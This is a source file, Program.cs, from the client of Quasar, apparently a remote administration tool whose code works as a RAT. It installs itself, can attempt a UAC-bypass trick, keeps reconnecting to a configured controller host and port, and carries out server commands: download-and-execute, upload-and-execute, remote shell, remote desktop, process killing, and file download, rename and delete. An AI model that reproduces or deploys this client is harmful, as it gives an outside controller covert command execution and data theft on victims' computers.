Files
Quasar/Client/Program.cs
T
2015-01-15 10:10:52 +01:00

266 lines
11 KiB
C#

using System;
using System.IO;
using System.Threading;
using System.Windows.Forms;
using xClient.Config;
using xClient.Core;
using xClient.Core.Commands;
using xClient.Core.Packets;
namespace xClient
{
static class Program
{
public static Client ConnectClient;
private static bool _reconnect = true;
private static volatile bool _connected = false;
private static Mutex _appMutex;
[STAThread]
private static void Main(string[] args)
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Settings.Initialize();
Initialize();
if (!SystemCore.Disconnect)
Connect();
//close here
CommandHandler.CloseShell();
if (_appMutex != null)
_appMutex.Close();
}
private static void Initialize()
{
Thread.Sleep(2000);
SystemCore.OperatingSystem = SystemCore.GetOperatingSystem();
SystemCore.MyPath = Application.ExecutablePath;
SystemCore.InstallPath = Path.Combine(Settings.DIR, Settings.SUBFOLDER + @"\" + Settings.INSTALLNAME);
SystemCore.AccountType = SystemCore.GetAccountType();
SystemCore.InitializeGeoIp();
if (Settings.ENABLEUACESCALATION)
{
if (SystemCore.TryUacTrick())
SystemCore.Disconnect = true;
if (SystemCore.Disconnect)
return;
}
if (!Settings.INSTALL || SystemCore.MyPath == SystemCore.InstallPath)
{
if (!SystemCore.CreateMutex(ref _appMutex))
SystemCore.Disconnect = true;
if (SystemCore.Disconnect)
return;
new Thread(SystemCore.UserIdleThread).Start();
ConnectClient = new Client(8192);
ConnectClient.AddTypesToSerializer(typeof (IPacket), new Type[]
{
typeof (Core.Packets.ServerPackets.InitializeCommand),
typeof (Core.Packets.ServerPackets.Disconnect),
typeof (Core.Packets.ServerPackets.Reconnect),
typeof (Core.Packets.ServerPackets.Uninstall),
typeof (Core.Packets.ServerPackets.DownloadAndExecute),
typeof (Core.Packets.ServerPackets.UploadAndExecute),
typeof (Core.Packets.ServerPackets.Desktop),
typeof (Core.Packets.ServerPackets.GetProcesses),
typeof (Core.Packets.ServerPackets.KillProcess),
typeof (Core.Packets.ServerPackets.StartProcess),
typeof (Core.Packets.ServerPackets.Drives),
typeof (Core.Packets.ServerPackets.Directory),
typeof (Core.Packets.ServerPackets.DownloadFile),
typeof (Core.Packets.ServerPackets.MouseClick),
typeof (Core.Packets.ServerPackets.GetSystemInfo),
typeof (Core.Packets.ServerPackets.VisitWebsite),
typeof (Core.Packets.ServerPackets.ShowMessageBox),
typeof (Core.Packets.ServerPackets.Update),
typeof (Core.Packets.ServerPackets.Monitors),
typeof (Core.Packets.ServerPackets.ShellCommand),
typeof (Core.Packets.ServerPackets.Rename),
typeof (Core.Packets.ServerPackets.Delete),
typeof (Core.Packets.ServerPackets.Action),
typeof (Core.Packets.ClientPackets.Initialize),
typeof (Core.Packets.ClientPackets.Status),
typeof (Core.Packets.ClientPackets.UserStatus),
typeof (Core.Packets.ClientPackets.DesktopResponse),
typeof (Core.Packets.ClientPackets.GetProcessesResponse),
typeof (Core.Packets.ClientPackets.DrivesResponse),
typeof (Core.Packets.ClientPackets.DirectoryResponse),
typeof (Core.Packets.ClientPackets.DownloadFileResponse),
typeof (Core.Packets.ClientPackets.GetSystemInfoResponse),
typeof (Core.Packets.ClientPackets.MonitorsResponse),
typeof (Core.Packets.ClientPackets.ShellCommandResponse)
});
ConnectClient.ClientState += ClientState;
ConnectClient.ClientRead += ClientRead;
}
else
{
if (!SystemCore.CreateMutex(ref _appMutex))
SystemCore.Disconnect = true;
if (SystemCore.Disconnect)
return;
SystemCore.Install();
}
}
private static void Connect()
{
TryAgain:
Thread.Sleep(250 + new Random().Next(0, 250));
if (!_connected)
ConnectClient.Connect(Settings.HOST, Settings.PORT);
Thread.Sleep(200);
Application.DoEvents();
HoldOpen:
while (_connected) // hold client open
{
Application.DoEvents();
Thread.Sleep(2500);
}
Thread.Sleep(Settings.RECONNECTDELAY + new Random().Next(250, 750));
if (SystemCore.Disconnect)
{
ConnectClient.Disconnect();
return;
}
if (_reconnect && !SystemCore.Disconnect && !_connected)
goto TryAgain;
else
goto HoldOpen;
}
private static void ClientState(Client client, bool connected)
{
_connected = connected;
if (connected && !SystemCore.Disconnect)
_reconnect = true;
else if (!connected && SystemCore.Disconnect)
_reconnect = false;
else
_reconnect = !SystemCore.Disconnect;
}
private static void ClientRead(Client client, IPacket packet)
{
var type = packet.GetType();
if (type == typeof (Core.Packets.ServerPackets.InitializeCommand))
{
CommandHandler.HandleInitializeCommand((Core.Packets.ServerPackets.InitializeCommand) packet, client);
}
else if (type == typeof (Core.Packets.ServerPackets.DownloadAndExecute))
{
CommandHandler.HandleDownloadAndExecuteCommand((Core.Packets.ServerPackets.DownloadAndExecute) packet,
client);
}
else if (type == typeof (Core.Packets.ServerPackets.UploadAndExecute))
{
CommandHandler.HandleUploadAndExecute((Core.Packets.ServerPackets.UploadAndExecute) packet, client);
}
else if (type == typeof (Core.Packets.ServerPackets.Disconnect))
{
CommandHandler.CloseShell();
SystemCore.Disconnect = true;
client.Disconnect();
}
else if (type == typeof (Core.Packets.ServerPackets.Reconnect))
{
CommandHandler.CloseShell();
client.Disconnect();
}
else if (type == typeof (Core.Packets.ServerPackets.Uninstall))
{
CommandHandler.HandleUninstall((Core.Packets.ServerPackets.Uninstall) packet, client);
}
else if (type == typeof (Core.Packets.ServerPackets.Desktop))
{
CommandHandler.HandleRemoteDesktop((Core.Packets.ServerPackets.Desktop) packet, client);
}
else if (type == typeof (Core.Packets.ServerPackets.GetProcesses))
{
CommandHandler.HandleGetProcesses((Core.Packets.ServerPackets.GetProcesses) packet, client);
}
else if (type == typeof (Core.Packets.ServerPackets.KillProcess))
{
CommandHandler.HandleKillProcess((Core.Packets.ServerPackets.KillProcess) packet, client);
}
else if (type == typeof (Core.Packets.ServerPackets.StartProcess))
{
CommandHandler.HandleStartProcess((Core.Packets.ServerPackets.StartProcess) packet, client);
}
else if (type == typeof (Core.Packets.ServerPackets.Drives))
{
CommandHandler.HandleDrives((Core.Packets.ServerPackets.Drives) packet, client);
}
else if (type == typeof (Core.Packets.ServerPackets.Directory))
{
CommandHandler.HandleDirectory((Core.Packets.ServerPackets.Directory) packet, client);
}
else if (type == typeof (Core.Packets.ServerPackets.DownloadFile))
{
CommandHandler.HandleDownloadFile((Core.Packets.ServerPackets.DownloadFile) packet, client);
}
else if (type == typeof (Core.Packets.ServerPackets.MouseClick))
{
CommandHandler.HandleMouseClick((Core.Packets.ServerPackets.MouseClick) packet, client);
}
else if (type == typeof (Core.Packets.ServerPackets.GetSystemInfo))
{
CommandHandler.HandleGetSystemInfo((Core.Packets.ServerPackets.GetSystemInfo) packet, client);
}
else if (type == typeof (Core.Packets.ServerPackets.VisitWebsite))
{
CommandHandler.HandleVisitWebsite((Core.Packets.ServerPackets.VisitWebsite) packet, client);
}
else if (type == typeof (Core.Packets.ServerPackets.ShowMessageBox))
{
CommandHandler.HandleShowMessageBox((Core.Packets.ServerPackets.ShowMessageBox) packet, client);
}
else if (type == typeof (Core.Packets.ServerPackets.Update))
{
CommandHandler.HandleUpdate((Core.Packets.ServerPackets.Update) packet, client);
}
else if (type == typeof (Core.Packets.ServerPackets.Monitors))
{
CommandHandler.HandleMonitors((Core.Packets.ServerPackets.Monitors) packet, client);
}
else if (type == typeof (Core.Packets.ServerPackets.ShellCommand))
{
CommandHandler.HandleShellCommand((Core.Packets.ServerPackets.ShellCommand) packet, client);
}
else if (type == typeof (Core.Packets.ServerPackets.Rename))
{
CommandHandler.HandleRename((Core.Packets.ServerPackets.Rename) packet, client);
}
else if (type == typeof (Core.Packets.ServerPackets.Delete))
{
CommandHandler.HandleDelete((Core.Packets.ServerPackets.Delete) packet, client);
}
else if (type == typeof(Core.Packets.ServerPackets.Action))
{
CommandHandler.HandleAction((Core.Packets.ServerPackets.Action) packet, client);
}
}
}
}